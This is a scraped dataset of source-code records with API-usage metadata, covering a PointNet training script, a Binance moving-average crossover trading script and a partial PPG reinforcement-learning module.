{"api_name": "salt.modules.config.manage_mode", "line_number": 26, "usage_type": "attribute"}, {"api_name": "salt.modules.config", "line_number": 26, "usage_type": "name"}, {"api_name": "salt.modules.cmdmod.run", "line_number": 27, "usage_type": "attribute"}, {"api_name": "salt.modules.cmdmod", "line_number": 27, "usage_type": "name"}, {"api_name": "salt.modules.cmdmod.run_all", "line_number": 28, "usage_type": "attribute"}, {"api_name": "salt.modules.cmdmod", "line_number": 28, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 21, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 49, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 42, "usage_type": "attribute"}, {"api_name": "salt.config.utils.files.fopen", "line_number": 56, "usage_type": "call"}, {"api_name": "salt.config.utils", "line_number": 56, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 56, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 61, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 52, "usage_type": "attribute"}, {"api_name": "salt.config.utils.files.fopen", "line_number": 68, "usage_type": "call"}, {"api_name": "salt.config.utils", "line_number": 68, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 68, "usage_type": "name"}, {"api_name": "salt.config.utils.stringutils.to_str", "line_number": 69, "usage_type": "call"}, {"api_name": "salt.config.utils", "line_number": 69, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 69, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 73, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 84, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 95, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.symlink", "line_number": 100, "usage_type": "call"}, {"api_name": "salt.modules.file.symlink", "line_number": 101, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 101, "usage_type": "name"}, {"api_name": "pytest.mark.skip_on_windows", "line_number": 98, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 98, "usage_type": "attribute"}, {"api_name": "salt.modules.file.link", "line_number": 108, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 108, "usage_type": "name"}, {"api_name": "pytest.mark.skip_on_windows", "line_number": 105, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 105, "usage_type": "attribute"}, {"api_name": "salt.modules.file.link", "line_number": 115, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 115, "usage_type": "name"}, {"api_name": "os.stat", "line_number": 116, "usage_type": "call"}, {"api_name": "pytest.mark.skip_on_windows", "line_number": 112, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 112, "usage_type": "attribute"}, {"api_name": "salt.modules.file.link", "line_number": 123, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 123, "usage_type": "name"}, {"api_name": "os.stat", "line_number": 124, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 125, "usage_type": "call"}, {"api_name": "pytest.mark.skip_on_windows", "line_number": 120, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 120, "usage_type": "attribute"}, {"api_name": "tests.support.mock.patch", "line_number": 130, "usage_type": "call"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 132, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 132, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 133, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 133, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 135, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 136, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 137, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 140, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 142, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 142, "usage_type": "name"}, {"api_name": "tests.support.mock.patch", "line_number": 149, "usage_type": "call"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 151, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 151, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 152, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 152, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 154, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 155, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 156, "usage_type": "call"}, {"api_name": "tests.support.mock.call", "line_number": 159, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 164, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 165, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 167, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 167, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 175, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 175, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 176, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 176, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 178, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 179, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 182, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 182, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 195, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 195, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 196, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 196, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 198, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 199, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 202, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 202, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 214, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 214, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 215, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 215, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 217, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 218, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 221, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 221, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 226, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 226, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 227, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 227, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 229, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 230, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 233, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 233, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 238, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 238, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 239, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 239, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 241, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 242, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 245, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 245, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 254, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 254, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 255, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 255, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 257, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 258, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 261, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 261, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 266, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 266, "usage_type": "name"}, {"api_name": "salt.modules.file.__salt__", "line_number": 267, "usage_type": "attribute"}, {"api_name": "salt.modules.file", "line_number": 267, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 269, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 270, "usage_type": "call"}, {"api_name": "salt.modules.file.source_list", "line_number": 273, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 273, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 281, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 282, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 284, "usage_type": "call"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 285, "usage_type": "call"}, {"api_name": "salt.modules.file.symlink", "line_number": 287, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 287, "usage_type": "name"}, {"api_name": "salt.modules.file.symlink", "line_number": 294, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 294, "usage_type": "name"}]}
{"seq_id": "8373396608", "text": "\nimport torch\nfrom dataset import ShapeNetDataset\nfrom model import ClassificationNN, SegmentationNN, FeatureTransform, train\nfrom torch.utils.data import random_split\n\nimport subprocess\nimport os\nimport argparse\n\ndef parse():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--model_type', type=str, default = 'cls', help = 'cls or seg')\n    parser.add_argument('--dataset_root', type=str, default = './datasets/ModelNet10', help='dataset root dir')\n    parser.add_argument('--epochs', type=int, default = 20, help='epochs')\n    parser.add_argument('--batch_size', type=int, default = 32, help='batch size')\n    parser.add_argument('--lr', type=float, default = 0.0001,  help='learning rate')\n    parser.add_argument('--train_split', type=float, default = 0.7,  help='train/test split')\n    parser.add_argument('--point_num', type=int, default = 1000, help = 'point num of point cloud')\n    parser.add_argument('--cls_num', type=int, default = 10, help = 'class num')\n\n\n    return parser.parse_args()\n\ndef load_data(path):\n    if os.path.exists(path):\n        pass\n    else:\n        if not os.path.exists(\"./datasets/\"): os.makedirs(\"./datasets/\")\n        if path=='./datasets/ModelNet10':\n            if not os.path.exists('./ModelNet10.zip'):\n                print('downloading')\n                process = subprocess.Popen([\"wget\", \"http://3dvision.princeton.edu/projects/2014/3DShapeNets/ModelNet10.zip\"])\n                process.wait()\n            subprocess.Popen([\"unzip\", \"ModelNet10.zip\", \"-d\", \"./datasets/\"])\n        if path=='./datasets/ModelNet40':\n            if not os.path.exists('./ModelNet40.zip'):\n                process = subprocess.Popen([\"wget\", \"http://modelnet.cs.princeton.edu/ModelNet40.zip\"])\n            process.wait()\n            subprocess.Popen([\"unzip\", \"-o\", \"ModelNet40.zip\", \"-d\", \"./datasets/\"])\n\ndef prepare_dataset(opt):\n    trainset = ShapeNetDataset(opt.dataset_root, train=True, n=opt.point_num)\n    dataset_length = len(trainset)\n    train_len = int(dataset_length * opt.train_split)\n    test_len = dataset_length - train_len\n    trainset, testset = random_split(trainset, [train_len, test_len])\n    testset.train = False\n    return trainset, testset\n\ndef train_pointNet_cls():\n    opt = parse()\n    load_data(opt.dataset_root)\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    trainset, valset = prepare_dataset(opt)\n    classification_model = ClassificationNN(opt.cls_num).to(device)\n\n    optimizer = torch.optim.Adam(classification_model.parameters(), lr=opt.lr)\n    train(classification_model, trainset, valset, optimizer, epochs=opt.epochs, batch_size=opt.batch_size, device=device)\n\n# def train_pointNet_seg():\n#     opt = parse()\n#     load_data(opt)\n#     device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n#     trainset, valset = prepare_dataset(opt)\n#     segmentation_model = SegmentationNN(opt.cls_num).to(device)\n\n#     optimizer = torch.optim.Adam(segmentation_model.parameters(), lr=opt.lr)\n#     train(segmentation_model, trainset, valset, optimizer, epochs=opt.epochs, batch_size=opt.batch_size, device=device)\n\n# def train_pointNet():\n#     if \nif __name__=='__main__':\n    train_pointNet_cls()", "repo_name": "leonardwei2023/cs182-proj", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 3218, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 33, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 38, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 40, "usage_type": "call"}, {"api_name": "dataset.ShapeNetDataset", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.utils.data.random_split", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 54, "usage_type": "attribute"}, {"api_name": "model.ClassificationNN", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 58, "usage_type": "attribute"}, {"api_name": "model.train", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "21594423650", "text": "#coding=utf-8\n\nimport json\nimport numpy as np\nimport pandas as pd\nimport time\nimport datetime\n\nclass DoubleAverageLines:\n\n    def __init__(self):\n        pass\n\n    # [\n    #     1499040000000, // 开盘时间\n    # \"0.01634790\", // 开盘价\n    # \"0.80000000\", // 最高价\n    # \"0.01575800\", // 最低价\n    # \"0.01577100\", // 收盘价(当前K线未结束的即为最新价)\n    # \"148976.11427815\", // 成交量\n    # 1499644799999, // 收盘时间\n    # \"2434.19055334\", // 成交额\n    # 308, // 成交笔数\n    # \"1756.87402397\", // 主动买入成交量\n    # \"28.46694368\", // 主动买入成交额\n    # \"17928899.62484339\" // 请忽略该参数\n    # ]\n\n    def klinesToDataFrame(self,klines):\n\n        if klines is None:\n            print(\"klinesToDataFrame---error:klines is None.\")\n            return None\n\n        openTimeList = []\n        openPriceList = []\n        maxPriceList = []\n        minPriceList = []\n        closePriceList = []\n        dealVoluMeList = []\n        closeTimeList = []\n        dealTotalMoneyList = []\n        dealCountList = []\n        dealBuyVolumeList = []\n        dealBuyTotalMoneyList = []\n\n\n        for kline in klines:\n            if (type(kline)).__name__ == 'list':\n                openTimeList.append(self.stampToTime(kline[0]))\n                openPriceList.append(kline[1])\n                maxPriceList.append(kline[2])\n                minPriceList.append(kline[3])\n                closePriceList.append(kline[4])\n                dealVoluMeList.append(kline[5])\n                closeTimeList.append(self.stampToTime(kline[6]))\n                dealTotalMoneyList.append(kline[7])\n                dealCountList.append(kline[8])\n                dealBuyVolumeList.append(kline[9])\n                dealBuyTotalMoneyList.append(kline[10])\n            else:\n                print(\"error: kline is not list.\")\n\n        kLinesDict = {\"openTime\": openTimeList, \"openPrice\": openPriceList, \"maxPrice\": maxPriceList, \"minPrice\":minPriceList, \"closePrice\":closePriceList, \"closeTime\":closeTimeList,\"openTime2\": openTimeList}\n\n        klines_df = pd.DataFrame(kLinesDict)\n\n        # for index, row in klines_df.iterrows():\n        #     print(str(row[\"openTime\"]) + \"\\t\" +row[\"openPrice\"] + \"\\t\" +row[\"maxPrice\"] + \"\\t\"+row[\"minPrice\"] + \"\\t\"+row[\"closePrice\"] + \"\\t\"+str(row[\"closeTime\"]) + \"\\t\")\n\n        return klines_df\n\n\n    def readJsonFromFile(self, filePath):\n        # Opening JSON file\n        f = open(filePath, )\n        data = json.load(f)\n        f.close()\n        # Iterating through the json\n        # list\n        print(\"readJsonFromFile =\")\n        if (type(data)).__name__ == 'list':\n            for i in data:\n                print(i)\n            # Closing file\n            return data\n\n        return None\n\n\n    def release_trade_stock(self, ma_x_line, ma_y_line, code, df):\n\n        print('\\n' + code + ' 均线 ' + str(ma_x_line) + ' 和 ' + str(ma_y_line) + ' :')\n\n        df[[\"openTime\"]] = df[[\"openTime\"]].astype(str)  # int类型 转换 成str类型，否则会被当做时间戳使用，造成时间错误\n        df[[\"openTime2\"]] = df[[\"openTime2\"]].astype(str)  # int类型 转换 成str类型，否则会被当做时间戳使用，造成时间错误\n\n        # print(\"===========================================\\n\")\n        df['openTime'] = pd.to_datetime(df['openTime'])\n        df['openTime2'] = pd.to_datetime(df['openTime2'])\n\n        df.set_index('openTime2', inplace=True)\n        df = df.sort_index(ascending=True)\n\n        # 求出均线\n        maX = df['closePrice'].rolling(ma_x_line).mean()\n        maY = df['closePrice'].rolling(ma_y_line).mean()\n\n        df = df[ma_y_line:]  # 这个切片很重要，否则会报错，因为数据不匹配\n        # 因为 ma_x_line < ma_y_line ,所以均线 切到 ma_y_line\n        maX = maX[ma_y_line:]  # 切片，与 df 数据条数保持一致\n        maY = maY[ma_y_line:]  # 切片，与 df 数据条数保持一致\n\n        # print(\"df数据行数=\" +str(len(df)))\n        # print(df)\n        # 从尾部，删除1行\n        # df.drop(df.tail(1).index, inplace=True)\n\n        # print(\"tmp_last_df--数据切片：\")\n        # for index, row in df.iterrows():\n        #     print(str(row[\"openTime\"]) + \"\\t\" +row[\"openPrice\"] + \"\\t\" +row[\"maxPrice\"] + \"\\t\"+row[\"minPrice\"] + \"\\t\"+row[\"closePrice\"] + \"\\t\"+str(row[\"closeTime\"]) + \"\\t\")\n\n        print(\"最后一行数据：\")\n        last_row = df.iloc[-1,:] #第1行，所有列\n        print(str(last_row[\"openTime\"]) + \"\\t\" +last_row[\"openPrice\"] + \"\\t\" +last_row[\"maxPrice\"] + \"\\t\"+last_row[\"minPrice\"] + \"\\t\"+last_row[\"closePrice\"] + \"\\t\"+str(last_row[\"closeTime\"]) + \"\\t\")\n\n        print(\"-------------------------------------------------------\\n\")\n        s1 = maX < maY  # 得到 bool 类型的 Series\n        s2 = maX > maY\n\n        death_ex = s1 & s2.shift(1)  # 判定死叉的条件\n        death_date = df.loc[death_ex].index  # 死叉对应的日期\n\n        golden_ex = ~(s1 | s2.shift(1))  # 判断金叉的条件\n        golden_record = df.loc[golden_ex]\n        golden_date = golden_record.index  # 金叉的日期\n\n        s1 = pd.Series(data=1, index=golden_date)  # 1 作为金叉的标识\n        s2 = pd.Series(data=0, index=death_date)  # 0 作为死叉的标识\n\n        s = s1.append(s2)  # 合并\n        s = s.sort_index(ascending=True)  # 排序\n\n        # print(\"金叉和死叉对应的时间：\")\n        # print(s)\n\n        hold = 0  # 持有的股数\n\n        trade_buy_price = 0\n\n        for i in range(0, len(s)):\n\n            if s[i] == 1:\n                time = s.index[i]\n                close_price = float(df.loc[time]['closePrice'])  # 收盘价\n\n                open_time = df.loc[time]['openTime']  # 开盘时间\n                close_time = df.loc[time]['closeTime']  # 收盘时间\n\n\n                isRightTime = self.judgeCurrentTimeWithLastRecordTime(str(open_time), str(close_time))\n\n\n                # print(open_price)\n                trade_buy_price = close_price  # 记录买入的价格\n                str_date = str(time)\n                print(str_date + \"\\t\" + \"买入\" + code + \"\\t\" + str(round(close_price, 8))+\"---\"+str(isRightTime))\n                if isRightTime:\n                    print(\"release_trade_stock---buy\")\n                    return \"buy,\"+str(open_time)\n\n            else:\n                # 卖出股票的单价\n                death_time = s.index[i]\n                p_death = float(df.loc[death_time]['closePrice'])\n                str_date = str(death_time)\n\n                open_time = df.loc[death_time]['openTime']  # 开盘时间\n                close_time = df.loc[death_time]['closeTime']  # 收盘时间\n                isRightTime = self.judgeCurrentTimeWithLastRecordTime(str(open_time), str(close_time))\n\n                print(str_date + \"\\t\" + \"卖出\" + str(code) + \"\\t\"+ str(round(p_death, 8)) +\"---\"+str(isRightTime))\n                if isRightTime:\n                    print(\"release_trade_stock---sell\")\n                    return \"sell\"\n\n        print(\"release_trade_stock---None\")\n\n        return None\n\n\n\n\n    # 判断当前时间，是否在k线时间范围内\n    def judgeCurrentTimeWithLastRecordTime(self, openTime, closeTime):\n\n        dateTime_interval = pd.to_datetime(closeTime) - pd.to_datetime(openTime)\n\n        seconds_interval = dateTime_interval.seconds # int类型，秒数\n        # print(\"seconds_interval 的类型=\")\n        # print(type(seconds_interval))\n        # print(seconds_interval)\n\n        now = int(round((time.time()-seconds_interval) * 1000))\n\n        now02 = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(now / 1000))\n\n        if now02>=openTime and now02<=closeTime:\n            # print(\"成功---\"+openTime+\"\\t\"+now02+\"\\t\"+closeTime)\n            return True\n        else:\n            # print(\"失败---\"+openTime+\"\\t\"+now02+\"\\t\"+closeTime)\n            return False\n\n\n    def stampToTime(self, stamp):\n\n        # now = int(round(time.time() * 1000))\n        stamp_int = int(stamp)\n\n        now02 = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(stamp_int / 1000))\n\n        # mytime = datetime.datetime.fromtimestamp(stamp/1000)\n        # # print(stamp)\n        # print(\"mytime type is : \" + type(now02).__name__)\n        return now02\n\n", "repo_name": "luoyanbei/binance-quant-robot", "sub_path": "DoubleAverageLines_static.py", "file_name": "DoubleAverageLines_static.py", "file_ext": "py", "file_size_in_byte": 8259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 149, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.DataFrame", "line_number": 66, "usage_type": "call"}, {"api_name": "json.load", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 99, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 100, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 138, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 139, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 197, "usage_type": "call"}, {"api_name": "time.time", "line_number": 204, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 206, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 206, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 221, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 221, "usage_type": "call"}]}
{"seq_id": "14154015440", "text": "import numpy as np\n\nimport torch\nfrom torch import nn\nfrom torch.distributions import Categorical\nfrom torch.utils.data import Dataset,DataLoader\nfrom utils.replaybuffer import RolloutBuffer\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nclass ActorCritic(nn.Module):\n    def __init__(self, state_dim,\n                 fStickLat_shape, fStickLon_shape,\n                 fThrottle_shape, fRudder_shape, eEleScanLine_shape,\n                 eAziScanRange, WeaponLaunch):\n        super(ActorCritic, self).__init__()\n        \n        self.fc = nn.Sequential(\n                nn.Linear(state_dim, 256),\n                nn.ReLU(),\n                nn.Linear(256,128),\n                nn.ReLU(),\n                nn.Linear(128,64),\n                nn.ReLU()\n                )\n        \n        # actor\n        self.actor1 = nn.Linear(64,fStickLat_shape)\n        self.actor2 = nn.Linear(64,fStickLon_shape)\n        self.actor3 = nn.Linear(64,fThrottle_shape)\n        self.actor4 = nn.Linear(64,fRudder_shape)\n        self.actor5 = nn.Linear(64,eEleScanLine_shape)\n        self.actor6 = nn.Linear(64,eAziScanRange)\n        self.actor7 = nn.Linear(64,WeaponLaunch)\n\n        self.softmax = nn.Softmax(1)\n        \n        self.actor_v = nn.Linear(64,1)\n        \n        # critic\n        self.critic = nn.Sequential(\n            nn.Linear(state_dim, 256),\n            nn.ReLU(),\n            nn.Linear(256,128),\n            nn.ReLU(),\n            nn.Linear(128,64),\n            nn.ReLU(),\n            nn.Linear(64, 1)\n        )\n        \n        \n    def forward(self, state):\n        state = torch.concat([state[:,0:184],state[:,185:426]],axis=0)\n        x = self.fc(state)\n        output1 = self.softmax(self.actor1(x))\n        output2 = self.softmax(self.actor2(x))\n        output3 = self.softmax(self.actor3(x))\n        output4 = self.softmax(self.actor4(x))\n        output5 = self.softmax(self.actor5(x))\n        output6 = self.softmax(self.actor6(x))\n        output7 = self.softmax(self.actor7(x))\n        \n        return output1, output2, output3, output4, output5, output6, output7\n    \n    def act(self, state):\n        action_probs = []\n        state = torch.concat([state[:, 0:184], state[:, 185:426]], axis=0)\n        x = self.fc(state)\n        action_probs.append(self.softmax((self.actor1(x))))\n        action_probs.append(self.softmax((self.actor2(x))))\n        action_probs.append(self.softmax((self.actor3(x))))\n        action_probs.append(self.softmax((self.actor4(x))))\n        action_probs.append(self.softmax((self.actor5(x))))\n        action_probs.append(self.softmax((self.actor6(x))))\n        action_probs.append(self.softmax((self.actor7(x))))\n\n        dist = []\n        for i in range(len(action_probs)):\n            dist.append(Categorical(action_probs[i]))\n\n        action = []\n        for i in range(len(action_probs)):\n            action.append(dist[i].sample())\n\n        for i in range(len(action_probs)):\n            if i == 0:\n                action_logprob = dist[i].log_prob(action[i]).unsqueeze(0)\n            else:\n                action_logprob = torch.cat([action_logprob, dist[i].log_prob(action[i]).unsqueeze(0)],0)\n\n        return action.detach(), action_logprob.detach()\n\n    def evaluate(self, state, action):\n        action_probs = []\n        policy_values = []\n        x = self.fc(state)\n        action_probs.append(self.softmax((self.actor1(x))))\n        action_probs.append(self.softmax((self.actor2(x))))\n        action_probs.append(self.softmax((self.actor3(x))))\n        action_probs.append(self.softmax((self.actor4(x))))\n        action_probs.append(self.softmax((self.actor5(x))))\n        action_probs.append(self.softmax((self.actor6(x))))\n        action_probs.append(self.softmax((self.actor7(x))))\n\n        dist = []\n        for i in range(len(action_probs)):\n            dist.append(Categorical(action_probs[i]))\n\n        for i in range(len(action_probs)):\n            if i == 0:\n                action_logprobs = dist[i].log_prob(action[:,i]).unsqueeze(1)\n            else:\n                action_logprobs = torch.cat([action_logprobs, dist[i].log_prob(action[:,i]).unsqueeze(1)],1)\n\n        for i in range(len(action_probs)):\n            if i == 0:\n                dist_entropy = dist[i].entropy().unsqueeze(1)\n            else:\n                dist_entropy = torch.cat([dist_entropy, dist[i].entropy().unsqueeze(1)],1)\n\n        state_values = self.critic(state)\n        policy_values = self.actor_v(x)\n\n        return action_logprobs, state_values, dist_entropy, action_probs, policy_values\n\nclass store_dataset(Dataset):\n    def __init__(self,old_states,old_actions,old_logprobs,rewards):\n        self.old_states = old_states\n        self.old_actions = old_actions\n        self.old_logprobs = old_logprobs\n        self.rewards = rewards\n\n\n    def __getitem__(self, idx):\n        return self.old_states[idx],self.old_actions[idx],self.old_logprobs[idx],self.rewards[idx]\n\n\n    def __len__(self):\n        return len(self.old_states)\n\nclass PPG:\n    def __init__(self, state_dim,                \n                 fStickLat_shape, fStickLon_shape,\n                 fThrottle_shape, fRudder_shape,\n                 eEleScanLine_shape, eAziScanRange, WeaponLaunch,\n                 lr_actor, lr_critic, gamma, K_epochs, eps_clip,\n                entropy_beta, aux_beta, aux_epochs):\n\n        self.gamma = gamma\n        self.eps_clip = eps_clip\n        self.K_epochs = K_epochs\n        self.aux_epochs = aux_epochs\n        self.entropy_beta = entropy_beta\n        self.aux_beta = aux_beta\n        \n        self.buffer = RolloutBuffer()\n\n        # self.policy = None\n        # self.optimizer = None\n        # self.old_policy = None\n        \n        self.MseLoss = nn.MSELoss()\n        self.KL_Loss = nn.KLDivLoss(reduction=\"batchmean\", log_target=True)\n        \n        self.actor_loss_record = []\n        self.critic_loss_record = []\n        self.rewards = None\n    \n    def select_action(self, state):\n        with torch.no_grad():\n            action, action_logprob = self.old_policy.act(state)\n        real_action = []\n        #在交互过程中，这里还需要获得每一种动作的离散化后的列表，将argmax后得到的index放入列表中采样\n        #假设叫做action_list\n        action_list = []\n        action_list.append(np.round(np.arange(-1.0, 1.1, 0.5),1).tolist())\n        action_list.append(np.round(np.arange(-1.0, 1.1, 0.5),1).tolist())\n        action_list.append(np.round(np.arange(0, 1.1, 0.5),1).tolist())\n        action_list.append(np.round(np.arange(-1.0, 1.1, 0.5),1).tolist())\n        action_list.append(np.array([2,4]).tolist())\n        action_list.append(np.array([30,60,120]).tolist())\n        action_list.append(np.array([0,1]).tolist())\n        for i in range(self.action_dim):\n            real_action.append(action_list[i][action.cpu().tolist()[0][i]])\n        return real_action\n\n    def update(self):\n        # Monte Carlo estimate of returns\n        \n        rewards = []\n        if self.buffer.is_terminals[-1]:\n            discounted_reward = 0\n        else:\n            discounted_reward = self.old_policy.critic(self.old_policy.fc(self.buffer.states[-1])).item()\n            \n        for reward, is_terminal in zip(reversed(self.buffer.rewards), reversed(self.buffer.is_terminals)):\n            discounted_reward = reward + (self.gamma * discounted_reward)\n            